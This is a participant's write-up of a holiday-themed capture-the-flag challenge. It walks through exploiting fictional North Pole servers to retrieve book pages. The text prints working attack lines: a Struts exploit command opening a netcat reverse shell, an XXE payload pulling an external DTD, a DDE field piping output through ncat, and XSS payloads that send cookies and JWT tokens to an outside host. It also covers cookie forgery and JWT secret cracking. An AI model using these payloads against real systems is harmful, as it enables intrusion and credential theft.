1) Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?

a. By rolling the snowball on the mentioned level, I was able to find out the first page is titled: About This Book

2) Investigate the Letters to Santa application at https://l2s.northpolechristmastown.com. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball's password?

a. By looking at the hints the first thing I noticed was that there was a reference to a dev site from the main l2s page in the code. That page mixed with the other hints indicate a struts vulnerability. I focused on the vulnerability CVE-2017–9805 and used python POC for that vulnerability against the dev server. I tried multiple ways to get a web shell, however was unsuccessful. I tried to think of other ways to get it to work. I ended up creating a reverse netcat connection from the dev server back to one of my machines. The syntax for the python exploit was: python new.py -u https://dev.northpolechristmastown.com/orders.xhtml -c 'nc x.x.x.x 54321 -e /bin/bash' --exploit

i. Since I had a shell on the machine, I used sha1sum on the GreatBookPage2.pdf file in the web root, /var/www/html. This hash gave me the page entitled: On the topic of Flying animals.

ii. Once that was complete, I started looking for the password. Based on the hint related to “dev”, I started doing a find on root directories (owned by Alabaster), specifically things that would be related to the site. Syntax for the find was ex: find /opt –user alabaster_snowball. Searching through a few interesting files, I was able to find: /opt/apache-tomcat/webapps/ROOT/WEB INF/classes/org/demo/rest/example/OrderMySql.class. In this file it has the username as alabaster_snowball and the password as stream_unhappy_buy_loss related to login credentials for a mysql database.

3) The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?

a. Based on the hints given to me, it looked like the easiest way was to use Alabaster's credentials on the SMB share. To find the share, I first was able to ssh to the external servers and find nmap. After running a few scans, I didn't initially find it. I ended up using nmap with the –PN option, which scanned without pings first, which revealed:

Nmap scan report for
hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

With this information, I used ssh forwarding in the format ssh –L 445:10.142.0.7:445 user@host. I then connected from my linux host and connected to the server with smb://localhost. When prompted I used Alabaster's credentials. The share FileStor was found and all files grabbed, with it included another book page.

4) Elf Web Access (EWA) is the preferred mailer for North Pole elves, available internally at http://mail.northpolechristmastown.com. What can you learn from The Great Book page found in an e-mail on that server?

a. By looking at the hints, I initially looked at the robots.txt file to see the cookie.txt path. After looking at this for a while and making it way too complicated, I started to think about what was actually being evaluated. It shows that if the plaintext and ciphertext are the same then it is confirmed and access is allowed. However, we already know that the 16 byte value is stripped and used as an IV, then the rest is decoded with the secret key. At this point, I tried to

think about how we could make this a value we could predict. I generated a random 16 byte value in hex, then converted this to base64 to match what the function was expecting. Now each time the function runs to decode/verify the cookie, it strips off my 16 byte value and there is nothing left to evaluate. Therefore if we list our plaintext value as blank, this will always evaluate as true and the cookie is valid. At that point, you can change the user account and access any account needed. An example of a cookie I used:

i. {"name":"jessica.claus@northpolechristmastown.com","plaintext": "","ciphertext":"CIcHNELYCMjFwT7UTCE3wQ"}

ii. The login page account.html is revealed by reviewing some of the custom page code.

iii. To answer the question, by reviewing the email for alabaster there is one listed as Re: Great book page with a link to an attachment: http://mail.northpolechristmastown.com/attachments/GreatBoo kPage4_893jt91md2.pdf

5) How many infractions are required to be marked as naughty on Santa's Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?

a. By looking at the hints and viewing the pages in dev mode, I noticed the query in one of the links. Going to that page and playing a bit it appeared json queries were in the url bar. I tried using title:[] as a wild card to dump everything, however I thought it was weird that there was an even 1k records. I then tried to use the date<2017-06-01, then again for date>=2017-06-01. This resulted in over 1k records.

I took these two file and imported into a local splunk instance. It was able to read and parse the data without issue. I then created a lookup table from the naughty and nice csv list and added that

to my results.

I ran multiple queries and saw a few outliers. There were a couple of previous villans from older years, as well as some duplicate (date/time) events. Once this information was removed, the stats list worked and returned the data expected. According to this data, if you get more than 3 infractions in a year, you will be on the naughty list. Also, if you are a villan who tries to ruin Christmas you also get on the naughty list.

My final resulting Splunk searches:

Full list:

```
host=sanstest sourcetype=_json date=2017*
| dedup date
| lookup list.csv name as name OUTPUT result
| stats count(_raw) as Total by name, result
```

Only naughty list:

```
host=sanstest sourcetype=_json date=2017*
| dedup date
| lookup list.csv name as name OUTPUT result
| stats count(_raw) as Total by name, result
| where Total>3
```

As for the moles, from the SMB challenge, there was a list of two with infractions I could search on. Using the previous splunk imported data, I searched and group names by the two known infractions.

Splunk search used:

host=sanstest sourcetype=_json date=2017* title="Aggravated pulling of hair" OR title="Throwing rocks (at people)"

| dedup date

| stats count by name title

| sort count
| stats list(title), list(count) by name

The likely mole names are:

Beverly Khalil

Kirsty Evans

Nina Fitzgerald

Sheri Lewis

Plus the two listed on the smb share doc

Boq Questrian

Bini Aru

As to who is throwing snowballs, the bumble is responsible for throwing snowballs. There was a chat that occurred once the related snowball rolling level was completed.

6) The North Pole engineering team has introduced an Elf as a Service (EaaS) platform to optimize resource allocation for mission-critical Christmas engineering projects at http://eaas.northpolechristmastown.com. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt.

Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?

a. By looking at the hints and the link provided, I tried a few variations until I found the correct xml I could upload to the site. This would use our own DTD file.

i. Xml uploaded to the site example:

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
    <!ELEMENT demo ANY >
    <!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil.dtd">
    %extentity;
    %inception;
    %sendit;
    ]
<
```

Evil.dtd served on one of my machines example:

I started a netcat listener on another and received the following:

Connection from [35.185.118.225] port 54321 [tcp/*] accepted (family 2, sport 49797)

GET /?http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/ greatbook6.pdf HTTP/1.1

b. The Title for page 6 is The Dreaded Inter-Dimensional Tornadoes.

7) Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI) to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book

page describe?

a. By reviewing the hints it is apparent I need to create a DDE word doc for alabaster. In his email and hints it is seen he checks his email and will open any word docx file that he gets. Even with all of the hints I had a lot of trouble getting this to run remotely for me. I could test on a local machine with powershell and using netcat, but couldn't get anything to work. The Powershell flat out didn't work and the reverse netcat shell would connect back to me and instantly die. Still no idea why, even after looping in a SANS instructor on the slack space. I ended up going about this a different way. My thought was that if the netcat session is going to automatically die, maybe I could have it just send me the hash of the known file before it quits. With that logic and a lot of testing I was able to use the following DDE exploit to setup a reverse shell to the local dev server and push the hash back: (the sans instructor I chatted with said to make sure to highlight this as an alternate way to get the file as he liked it)

i. DDEAUTO c:\\Windows\\System32\\cmd.exe "/c (CertUtil - hashfile C:\\GreatBookPage7.pdf | ncat 10.142.0.11 3434

ii. The Page is titled regarding the witches of oz

8) Fetch the letter to Santa from the North Pole Elf Database at http://edb.northpolechristmastown.com. Who wrote the letter?

a. For this one, I ended up looking for and finding a xss vulnerability in the help desk support request. By testing and using different values here was the key. I found php code for grabbing cookies via xss on github and then signed up for a free web hosting/site that can use php. The code is the php script and a log.txt file hosted on this site.

i. I found this one worked during testing but not when waiting for the help desk tech to load: <svg/onload=fetch('http://ctftest.000webhostapp.com/cook.php?c ookie='+document.cookie)>

ii. I switched and tried another type of tag. This ended up working and giving me the cookie to use, <img src=x onerror=this.onerror=this.src='http://ctftest.000webhostapp.com /cook.php?cookie='+document.cookie>

1. The cookie was: hxxer50N2e1C2AFt5X06

iii. After trying the cookie multiple times with no success, I figured there was more to do to get access. I saw in the custom.js script that upon successful login, it set np-auth in local storage. I wanted to see what that would be so I used the same XSS method to steal the cookie to also steal this from local storage. Turns out this was a JWT token.

1. Np-auth xss stealing: <img src=x onerror=this.onerror=this.src='http://ctftest.000webhostapp.com/cook.php?cookie='+localStorage.getItem('np-auth')>

2. Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I

iv. I used jwt.io to decode this token and saw it was for alabaster and was expired. I tried a few variations from github for JWT token cracking until I found one written in C that was mutli threaded. This was able to crack the token in under a minute.

1. Cracked token: Secret is "3lv3s"

v. With the token cracked I used the same jwt.io site to change the date and get a new encoded value.

1. New token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTA4LTE

2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.gr2b8plsmw_JCKbomOURE7jLiSMeQ-evyYjcxCPXco

vi. Setting the stolen cookie and using the newly encoded JWT token in firebug/firefox, I hit the main page and it logged me right in. vii. Once in, I used the elf/sans hints for ldap queries. I also changed one of the values in the drop down menu to userPass from description, which I found in the /dev ldap template. Once I did that I returned the hash for Santa's password.

viii. I used an online hash cracker to show his password as: 001cookielips001. With this new information, I logged out and logged in with Santa's credentials. Once in I was able to click account>Santa Panel, to show the letter sent.

ix. The Letter was from the Wizard of OZ.

9) Which character is ultimately the villain causing the giant snowball problem? What is the villain's motive?

a. After unlocking enough pages an automatic convo with Glinda the Good Witch of Oz launches. She cast a spell on the snow monster to make him throw the snowballs. The motive was to stir up hostilities between the Elves and Munchkins to start a WAR between Oz and the north pole. Glinda could then sell magic spells to both sides and make a fortune in War profiteering. Also somehow we are now in Scooby doo ("meddling kids",,haha).